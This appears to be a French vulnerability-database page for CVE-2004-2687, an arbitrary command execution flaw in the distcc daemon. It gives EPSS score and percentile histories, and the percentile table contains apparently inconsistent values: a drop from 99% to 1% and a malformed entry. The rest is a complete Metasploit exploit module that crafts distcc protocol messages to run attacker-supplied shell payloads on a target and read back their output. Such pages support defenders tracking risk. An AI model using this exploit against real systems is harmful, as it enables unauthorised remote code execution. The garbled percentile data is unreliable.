CVE-2004-2687 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	73.15%	–	–
2023-03-12	–	–	–	95.05%	–
2023-04-09	–	–	–	94.98%	–
2023-05-14	–	–	–	94.89%	–
2024-02-11	–	–	–	91.89%	–
2024-03-17	–	–	–	92.48%	–
2024-04-14	–	–	–	92.43%	–
2024-06-02	–	–	–	94.28%	–
2024-07-28	–	–	–	94.04%	–
2024-08-25	–	–	–	96.4%	–
2024-09-22	–	–	–	96.82%	–
2024-12-22	–	–	–	96.89%	–
2025-01-19	–	–	–	96.89%	–
2025-03-18	–	–	–	–	91.5%
2025-03-30	–	–	–	–	90.98%
2025-03-30	–	–	–	–	90.98,%

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Date	Percentile
2022-02-06	99%
2023-03-12	99%
2023-04-09	99%
2023-05-14	99%
2024-02-11	99%
2024-03-17	99%
2024-04-14	99%
2024-06-02	99%
2024-07-28	99%
2024-08-25	1%
2024-09-22	1%
2024-12-22	1%
2025-01-19	1%
2025-03-18	1%
2025-03-30	1%
2025-03-30	1%

## # $Id: distcc_exec.rb 9669 2010-07-03 03:13:45Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'DistCC Daemon Command Execution', 'Description' => %q{ This module uses a documented security weakness to execute arbitrary commands on any system running distccd. }, 'Author' => [ 'hdm' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 9669 $', 'References' => [ [ 'CVE', '2004-2687'], [ 'OSVDB', '13378' ], [ 'URL', 'http://distcc.samba.org/security.html'], ], 'Platform' => ['unix'], 'Arch' => ARCH_CMD, 'Privileged' => false, 'Payload' => { 'Space' => 1024, 'DisableNops' => true, 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic perl ruby bash telnet', } }, 'Targets' => [ [ 'Automatic Target', { }] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Feb 01 2002' )) register_options( [ Opt::RPORT(3632) ], self.class) end def exploit connect distcmd = dist_cmd("sh", "-c", payload.encoded); sock.put(distcmd) dtag = rand_text_alphanumeric(10) sock.put("DOTI0000000A#{dtag}\n") res = sock.get_once(24, 5) if !(res and res.length == 24) print_status("The remote distccd did not reply to our request") disconnect return end # Check STDERR res = sock.get_once(4, 5) res = sock.get_once(8, 5) len = [res].pack("H*").unpack("N")[0] return if not len if (len > 0) res = sock.get_once(len, 5) res.split("\n").each do |line| print_status("stderr: #{line}") end end # Check STDOUT res = sock.get_once(4, 5) res = sock.get_once(8, 5) len = [res].pack("H*").unpack("N")[0] return if not len if (len > 0) res = sock.get_once(len, 5) res.split("\n").each do |line| print_status("stdout: #{line}") end end handler disconnect end # Generate a distccd command def dist_cmd(*args) # Convince distccd that this is a compile args.concat(%w{# -c main.c -o main.o}) # Set distcc 'magic fairy dust' and argument count res = "DIST00000001" + sprintf("ARGC%.8x", args.length) # Set the command arguments args.each do |arg| res << sprintf("ARGV%.8x%s", arg.length, arg) end return res end end